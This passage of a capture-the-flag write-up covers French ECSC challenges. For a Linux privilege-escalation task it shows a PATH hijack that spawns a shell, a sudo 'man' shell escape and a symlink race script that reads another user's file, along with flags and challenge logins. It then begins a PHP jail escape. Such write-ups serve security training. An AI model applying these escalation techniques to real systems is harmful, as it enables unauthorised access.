ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0bea}
Flag: ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0bea}
```
At least I learned more about SQLite! I feel so ashamed, it is not profesionnal to attack the wrong target.
## 243 - privesc101 - System
> Le flag est dans /home/user3/flag. À vous de trouver comment y accéder !
>
> Connectez-vous avec la commande suivante :
>
> ssh -p 4000 user0@challenges.ecsc-teamfrance.fr
>
> Le mot de passe est user0.
>
> Note : Il est normal que /home/user1/ soit vide.
What are we up to?
```
$ user0@privesc101:~$ ls -RlhA /home/
/home/:
total 16K
drwxr-xr-x 1 root user0 4.0K May 13 23:59 user0
drwxr-xr-x 1 root user1 4.0K May 13 23:59 user1
drwxr-xr-x 1 root user2 4.0K May 13 23:59 user2
drwxr-xr-x 1 user3 user3 4.0K May 13 23:59 user3
/home/user0:
total 24K
-rw-r--r-- 1 root user0 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root user0 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 root user0 675 May 15 2017 .profile
-r--r-sr-x 1 root user1 8.6K May 13 23:59 stage0
/home/user1:
total 12K
-rw-r--r-- 1 root user1 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root user1 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 root user1 675 May 15 2017 .profile
/home/user2:
total 28K
-rw-r--r-- 1 root user2 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root user2 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 root user2 675 May 15 2017 .profile
-r-S--s--- 1 user3 user2 8.8K May 13 23:59 stage2
-r--r----- 1 root user2 538 May 13 23:58 stage2.c
/home/user3:
total 16K
-rw-r--r-- 1 user3 user3 220 May 15 2017 .bash_logout
-rw-r--r-- 1 user3 user3 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 user3 user3 675 May 15 2017 .profile
-r--r----- 1 user3 user3 47 May 13 23:58 flag
```
Seems straightforward.
```
$ strings stage0
...
ls /home/user3
...
```
Wait for the PATH bypass EoP (isn't that abbreviation sexier than privsec?).
```
user0@privesc101:~$ id # check who I am
uid=999(user0) gid=999(user0) groups=999(user0)
user0@privesc101:~$ alias # be carefull
alias ls='ls --color=auto'
user0@privesc101:~$ unalias ls
user0@privesc101:~$ mkdir /tmp/noraj # here we can write
user0@privesc101:~$ vim /tmp/noraj/ls # vim > emacs
user0@privesc101:~$ cat /tmp/noraj/ls
#!/bin/sh
/bin/bash -i
user0@privesc101:~$ chmod +x /tmp/noraj/ls
user0@privesc101:~$ PATH="/tmp/noraj:$PATH" ./stage0
user0@privesc101:~$ id # Next level
uid=999(user0) gid=998(user1) groups=998(user1),999(user0)
user0@privesc101:~$ export PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games" # restore the PATH
user0@privesc101:~$ sudo -l # We'll definitly mess with that classic bang
User user0 may run the following commands on privesc101:
(user0 : user2) NOPASSWD: /usr/bin/man ls
user0@privesc101:~$ sudo -u user0 -g user2 /usr/bin/man ls # sudo bring me coffee
!/bin/bash
user0@privesc101:~$ id # yeah I still don't know who I am
uid=999(user0) gid=997(user2) groups=997(user2),998(user1),999(user0)
user0@privesc101:~$ ls -lh /home/user2 # pay attention to privilegies
total 16K
-r-S--s--- 1 user3 user2 8.8K May 13 23:59 stage2
-r--r----- 1 root user2 538 May 13 23:58 stage2.c
user0@privesc101:~$ ls -lh /home/user3/flag # this flag is not so readable for us right now
-r--r----- 1 user3 user3 47 May 13 23:58 /home/user3/flag
user0@privesc101:~$ cat /home/user2/stage2.c
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
FILE *f;
struct stat buf;
if (argc < 2) {
printf("Usage : ./stage2 path\n");
return -1;
}
if (stat(argv[1], &buf) != 0 || buf.st_uid != getuid()) {
printf("You must own the file.\n");
return -2;
}
f = fopen(argv[1], "r");
if (f == NULL)
return -3;
char c;
printf("%s\n", argv[1]);
while((c = fgetc(f)) != EOF)
printf("%c", c);
fclose(f);
return 0;
}
```
Race condition baby: https://www.win.tue.nl/~aeb/linux/hh/hh-9.html
```sh
#!/bin/sh
touch /tmp/noraj/user2
while true; do
ln -sf /tmp/noraj/user2 /tmp/noraj/foo.txt &
/home/user2/stage2 /tmp/noraj/foo.txt &
ln -sf /home/user3/flag /tmp/noraj/foo.txt
done
```
Let's run faster (even if the turtle started before us).
```
/tmp/noraj/foo.txt
ECSC{a311360c0ba098d449f6599bfacbd78da2884024}
You must own the file.
You must own the file.
rm: cannot remove '/tmp/noraj/foo.txt': No such file or directory
You must own the file.
You must own the file.
You must own the file.
You must own the file.
```
The turtle was wrong.
## 288 - PHP Jail - Jail
We have to know our environment:
`var_dump(phpinfo());` => Tons of disabled functions and classes => it will be possible to read files but not to list directory content.
`sendmail_path => /usr/sbin/sendmail -t -i => /usr/sbin/sendmail -t -i`
Oh yeah we know this sound like Chankro and LD_PRELOAD bypass.
`highlight_file('/home/user0/server.py');`
```python
#!/usr/bin/python
import config
import program
import logging
import socket
import sys
logger = logging.getLogger('server')
logger.info('Server started')
# CREATE SOCKET
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(config.SOCKET_TIMEOUT)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
logger.debug('Socket created')
# BIND SOCKET
s.bind((config.LISTEN_ADDRESS, config.LISTEN_PORT))
s.listen(config.MAX_CLIENTS)
logger.debug('Socket configured')
activeClients = []
logger.info('Waiting for clients')
while True:
for client in activeClients:
if not client.alive:
activeClients.remove(client)
try:
clientSock, clientAddr = s.accept()
logger.debug('Client (%s, %d) connected - %d active clients' % (clientAddr[0], clientAddr[1], len(activeClients)))
sh = program.SocketHandler(clientSock, clientAddr)
activeClients.append(sh)
sh.daemon = True
sh.start()
except socket.timeout:
logger.debug('No client accepted within %d seconds - %d active clients' % (config.SOCKET_TIMEOUT, len(activeClients)))